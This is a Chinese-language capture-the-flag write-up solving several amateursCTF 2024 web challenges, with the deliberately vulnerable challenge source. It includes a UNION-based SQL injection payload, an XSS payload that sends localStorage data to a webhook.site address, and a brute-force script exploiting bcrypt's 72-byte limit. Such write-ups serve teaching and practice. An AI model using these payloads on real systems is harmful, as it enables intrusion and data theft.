denied

index.js

const express = require('express')
const app = express()
const port = 3000

app.get('/', (req, res) => {
  if (req.method == "GET") return res.send("Bad!");
  res.cookie('flag', process.env.FLAG ?? "flag{fake_flag}")
  res.send('Winner!')
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

使用OPTIONS方法,查看服务器支持方法。

使用HEAD方法

得到flag
amateursCTF{s0_m@ny_0ptions...}

agile-rut

页面使用了自定义字体

使用otf在线分析网站

发现一个特殊的字符

但是不知道怎么将这个字符输入到网站中😂

继续查看其他信息,查看Glyph Substitution Table - GSUB部分
这个部分是进行一些字符替换的,主要是一些连字。

对照上面的字符表可以得到flag
amateursctf{0k_but_1_dont_like_the_jbmon0_===}

str = [78,66,85,70,86,83,84,68,85,71,92,17,76,64,67,86,85,64,18,64,69,80,79,85,64,77,74,76,70,64,85,73,70,64,75,67,78,80,79,17,64,30,30,30,94]


for i in str:
    print(chr(i+31),end="")

使用字体编辑工具更方便
https://www.glyphrstudio.com/app/

one-shot

查看源码,显然search处的query参数存在like型注入。

from flask import Flask, request, make_response
import sqlite3
import os
import re

app = Flask(__name__)
db = sqlite3.connect(":memory:", check_same_thread=False)
flag = open("flag.txt").read()

@app.route("/")
def home():
    return """
    <h1>You have one shot.</h1>
    <form action="/new_session" method="POST"><input type="submit" value="New Session"></form>
    """

@app.route("/new_session", methods=["POST"])
def new_session():
    id = os.urandom(8).hex()
    db.execute(f"CREATE TABLE table_{id} (password TEXT, searched INTEGER)")
    db.execute(f"INSERT INTO table_{id} VALUES ('{os.urandom(16).hex()}', 0)")
    res = make_response(f"""
    <h2>Fragments scattered... Maybe a search will help?</h2>
    <form action="/search" method="POST">
        <input type="hidden" name="id" value="{id}">
        <input type="text" name="query" value="">
        <input type="submit" value="Find">
    </form>
""")
    res.status = 201

    return res

@app.route("/search", methods=["POST"])
def search():
    id = request.form["id"]
    if not re.match("[1234567890abcdef]{16}", id):
        return "invalid id"
    searched = db.execute(f"SELECT searched FROM table_{id}").fetchone()[0]
    if searched:
        return "you've used your shot."
    
    db.execute(f"UPDATE table_{id} SET searched = 1")

    query = db.execute(f"SELECT password FROM table_{id} WHERE password LIKE '%{request.form['query']}%'")
    return f"""
    <h2>Your results:</h2>
    <ul>
    {"".join([f"<li>{row[0][0] + '*' * (len(row[0]) - 1)}</li>" for row in query.fetchall()])}
    </ul>
    <h3>Ready to make your guess?</h3>
    <form action="/guess" method="POST">
        <input type="hidden" name="id" value="{id}">
        <input type="text" name="password" placehoder="Password">
        <input type="submit" value="Guess">
    </form>
"""

@app.route("/guess", methods=["POST"])
def guess():
    id = request.form["id"]
    if not re.match("[1234567890abcdef]{16}", id):
        return "invalid id"
    result = db.execute(f"SELECT password FROM table_{id} WHERE password = ?", (request.form['password'],)).fetchone()
    if result != None:
        return flag
    
    db.execute(f"DROP TABLE table_{id}")
    return "You failed. <a href='/'>Go back</a>"

@app.errorhandler(500)
def ise(error):
    original = getattr(error, "original_exception", None)
    if type(original) == sqlite3.OperationalError and "no such table" in repr(original):
        return "that table is gone. <a href='/'>Go back</a>"
    return "Internal server error"

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)

只能查询一次,且查询结果只能显示第一个字符。
考虑使用union逐个字符查询。

SQL测试脚本

from flask import Flask, request, make_response
import sqlite3
import os
import re


db = sqlite3.connect(":memory:", check_same_thread=False)


id = os.urandom(8).hex()
print(id)
db.execute(f"CREATE TABLE table_{id} (password TEXT, searched INTEGER)")
password = os.urandom(16).hex()
print(password)
db.execute(f"INSERT INTO table_{id} VALUES ('{password}', 0)")

# searched = db.execute(f"SELECT searched FROM table_{id}").fetchone()[0]
# if searched:
#     print("you've used your shot.")

#db.execute(f"UPDATE table_{id} SET searched = 1")
#id = "7aa17ba42e9f1b51"
str = "' "
for i in range(1,33):
    str += f'''union all select substr(password,{i},1) from table_{id} '''
str += "--+"

print(str)

#print(str)
query = db.execute(f"SELECT password FROM table_{id} WHERE password LIKE '%{str}%'")

#print(query.fetchall())
print({"".join([f"<li>{row[0][0] + '*' * (len(row[0]) - 1)}</li>" for row in query.fetchall()])})

payload如下:

' union all select substr(password,1,1) from table_7aa17ba42e9f1b51 union all select substr(password,2,1) from table_7aa17ba42e9f1b51 union all select substr(password,3,1) from table_7aa17ba42e9f1b51 union all select substr(password,4,1) from table_7aa17ba42e9f1b51 union all select substr(password,5,1) from table_7aa17ba42e9f1b51 union all select substr(password,6,1) from table_7aa17ba42e9f1b51 union all select substr(password,7,1) from table_7aa17ba42e9f1b51 union all select substr(password,8,1) from table_7aa17ba42e9f1b51 union all select substr(password,9,1) from table_7aa17ba42e9f1b51 union all select substr(password,10,1) from table_7aa17ba42e9f1b51 union all select substr(password,11,1) from table_7aa17ba42e9f1b51 union all select substr(password,12,1) from table_7aa17ba42e9f1b51 union all select substr(password,13,1) from table_7aa17ba42e9f1b51 union all select substr(password,14,1) from table_7aa17ba42e9f1b51 union all select substr(password,15,1) from table_7aa17ba42e9f1b51 union all select substr(password,16,1) from table_7aa17ba42e9f1b51 union all select substr(password,17,1) from table_7aa17ba42e9f1b51 union all select substr(password,18,1) from table_7aa17ba42e9f1b51 union all select substr(password,19,1) from table_7aa17ba42e9f1b51 union all select substr(password,20,1) from table_7aa17ba42e9f1b51 union all select substr(password,21,1) from table_7aa17ba42e9f1b51 union all select substr(password,22,1) from table_7aa17ba42e9f1b51 union all select substr(password,23,1) from table_7aa17ba42e9f1b51 union all select substr(password,24,1) from table_7aa17ba42e9f1b51 union all select substr(password,25,1) from table_7aa17ba42e9f1b51 union all select substr(password,26,1) from table_7aa17ba42e9f1b51 union all select substr(password,27,1) from table_7aa17ba42e9f1b51 union all select substr(password,28,1) from table_7aa17ba42e9f1b51 union all select substr(password,29,1) from table_7aa17ba42e9f1b51 union all select substr(password,30,1) from table_7aa17ba42e9f1b51 union all select substr(password,31,1) from table_7aa17ba42e9f1b51 union all select substr(password,32,1) from table_7aa17ba42e9f1b51 --+

成功"猜对"密码后得到flag

sculpture

显然是一道XSS
查看index.html代码,引用了js的sculpt(https://skulpt.org/js/skulpt-stdlib.js)库,来解析python代码,调用turtle画图。(直接命令执行当然是不行的🤒)
通过示例代码发现可以使用print打印字符,并且成功触发xss。
通过code传参base64编码的参数,会自动通过runit函数执行code。

这里使用标签触发不了,只有标签可以。(具体原理不是很清楚🤕)
构造payload

print "<img src=x onerror=with(document)body.appendChild(document.createElement('script')).src=\"https://webhook.site/994ac52a-3113-4bbe-89de-335f522dc194?id=\"+localStorage.getItem('flag')></img>"

记得base64后urlencode,get传参时+会被当成空格。

最终payload

https://amateurs-ctf-2024-sculpture-challenge.pages.dev/?code=cHJpbnQgIjxpbWcgc3JjPXggb25lcnJvcj13aXRoKGRvY3VtZW50KWJvZHkuYXBwZW5kQ2hpbGQoZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0JykpLnNyYz1cImh0dHBzOi8vd2ViaG9vay5zaXRlLzk5NGFjNTJhLTMxMTMtNGJiZS04OWRlLTMzNWY1MjJkYzE5ND9pZD1cIitsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnZmxhZycpPjwvaW1nPiI%3D

得到flag
amateursCTF{i_l0v3_wh3n_y0u_can_imp0rt_xss_v3ct0r}

creative-login-page-challenge

  • bcrypt长度限制72字符

一个java编写的登录页面

package team.amateurs.loginpage;

import jakarta.servlet.http.Cookie;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.core.io.Resource;
import org.springframework.core.io.ResourceLoader;
import org.springframework.http.MediaType;
import org.springframework.security.crypto.bcrypt.BCrypt;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.web.bind.annotation.*;

import javax.print.attribute.standard.Media;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.charset.Charset;
import java.util.Base64;
import java.util.HashMap;

@SpringBootApplication
@RestController
public class LoginpageApplication {
    HashMap<String, String> users = new HashMap<String, String>();
    @Autowired
    public ResourceLoader resourceLoader;
    private final static String SALT = BCrypt.gensalt();
    // Some fun things to include in your username/password!
    // TODO take from env cause yes
    public String flag = System.getenv("FLAG");
    public String randomNum = Integer.toString((int) (Math.random() * 100));
	// add more

    public static void main(String[] args) {
        SpringApplication.run(LoginpageApplication.class, args);
    }

    @GetMapping("/")
    public String getRoot(HttpServletResponse response) {
        try {
            response.sendRedirect("/register");
            return "Redirecting";
        } catch (Exception e) {
            return e.getMessage();
        }
    }

    @PostMapping("/register")
    public String postRegister(HttpServletResponse response, @RequestParam(value = "username") String username, @RequestParam(value = "password") String password) {
        try {
            if (username.isEmpty() || password.isEmpty()) return "No empty field";
            String tUsername = template(username);
            if (tUsername.contains(flag)) return "No flag >:( !";
            String tPassword = template(password);
            if (users.get(tUsername) != null) return "Username already taken!";
            users.put(tUsername, BCrypt.hashpw(tPassword, SALT));
            Cookie usernameCookie = new Cookie("username", Base64.getEncoder().encodeToString(tUsername.getBytes()));
            response.addCookie(usernameCookie);
            // yeah, sue me
            Cookie tokenCookie = new Cookie("token", BCrypt.hashpw(users.get(tUsername), SALT));
            response.addCookie(tokenCookie);
            response.sendRedirect("/hello");
            return "Redirecting";
        } catch (Exception e) {
            return e.getMessage();
        }
    }

    @GetMapping(value = "/register", produces = MediaType.TEXT_HTML_VALUE)
    public String getRegister() throws IOException {
        return resourceLoader.getResource("classpath:static/register.html").getContentAsString(Charset.defaultCharset());
    }

    @GetMapping("/hello")
    public String getHello(HttpServletResponse response, @CookieValue(value = "username", required = false) String username, @CookieValue(value = "token", required = false) String token) throws IOException {
        if (token == null || username == null) {
            response.sendRedirect("/login");
            return "Redirecting";
        }

        String decodedName = new String(Base64.getDecoder().decode(username));

        if (token.equals(BCrypt.hashpw(users.get(decodedName), SALT))) {
            return "Hello " + decodedName;
        } else {
            response.sendRedirect("/login");
            return "Redirecting";
        }
    }

    @PostMapping("/login")
    public String postLogin(HttpServletResponse response, @RequestParam(value = "username") String username, @RequestParam(value = "password") String password) {
        try {
            String actual = users.get(username);
            if (actual == null) return "Credentials wrong";

            String input = BCrypt.hashpw(password, SALT);
            if (input.equalsIgnoreCase(actual)) {
                Cookie usernameCookie = new Cookie("username", Base64.getEncoder().encodeToString(username.getBytes()));
                response.addCookie(usernameCookie);
                // yeah, sue me
                Cookie tokenCookie = new Cookie("token", BCrypt.hashpw(actual, SALT));
                response.addCookie(tokenCookie);

                response.sendRedirect("/hello");
                return "Redirecting";
            }
            response.setStatus(401);
			return "Credentials wrong";
        } catch (Exception e) {
            return e.getMessage();
        }
    }

    @GetMapping(value = "/login", produces = MediaType.TEXT_HTML_VALUE)
    public String getLogin() throws IOException {
        return resourceLoader.getResource("classpath:static/login.html").getContentAsString(Charset.defaultCharset());
    }


    private String template(String fmtStr) throws Exception {
        StringBuilder sb = new StringBuilder();
        while (fmtStr.contains("{{")) {
            int start = fmtStr.indexOf("{{") + 2;
            int end = fmtStr.indexOf("}}", start);
            if (end == -1) throw new Exception("Invalid Format String");
            sb.append(fmtStr, 0, start - 2);
            Field f = LoginpageApplication.class.getField(fmtStr.substring(start, end));
            if (f.getType().equals(String.class)) {
                sb.append(f.get(this));
            } else {
                throw new Exception("Field not found");
            }

            fmtStr = fmtStr.substring(end + 2);
        }
        // no format strings, no need.
        sb.append(fmtStr);
        return sb.toString();
    }

}

发现提供了template方法可以通过反射获取类中的字符类型变量,使用{{flag}}形式可以获取flag,但是username中不能包含flag,password中flag又不会显示。

这里利用bcrypt的一个性质,密码长度限制为72,参考文章
例如下面的两个字符串,加密后结果是一样的。

public static void main(String[] args) throws Exception {
        String hash_1 = BCrypt.hashpw("passwordaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaac", SALT);
        System.out.println(hash_1);
        String hash_2 = BCrypt.hashpw("passwordaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab", SALT);
        System.out.println(hash_2);
    }
// $2a$10$ZltXx90HXy8s3ipHXZ2ExeYovy5SQ9/R2ajCh7Vwp.1WnAhmYlMie

写一个python脚本,逐个字符爆破flag。

import requests
import string

url = "http://creative-login-page.amt.rs/register"

ascii_letters = string.printable

flag = ""

for i in range(70):
    r = requests.session()
    username = "rabiit12"*(i+1)
    password = "a"*(71-i)+"{{flag}}"
    print(password)
    data = {
        "username":username,
        "password":password
    }
    response = r.post(url=url,data=data,allow_redirects=False)
    token = response.cookies["token"]
    print(token)

    for j in range(len(ascii_letters)):
        r = requests.session()
        username = ("robots12"+str(i))*(j+1)
        password = "a"*(71-i)+flag+ascii_letters[j]
        print(password)
        data = {
        "username":username,
        "password":password
        }
        response = r.post(url=url,data=data,allow_redirects=False)
        token2 = response.cookies["token"]
        print(token2)
        if token2 == token:
            flag += ascii_letters[j]
            print(flag)
            break

得到flag
amateursCTF{1_l0v3_l0gin_pAges}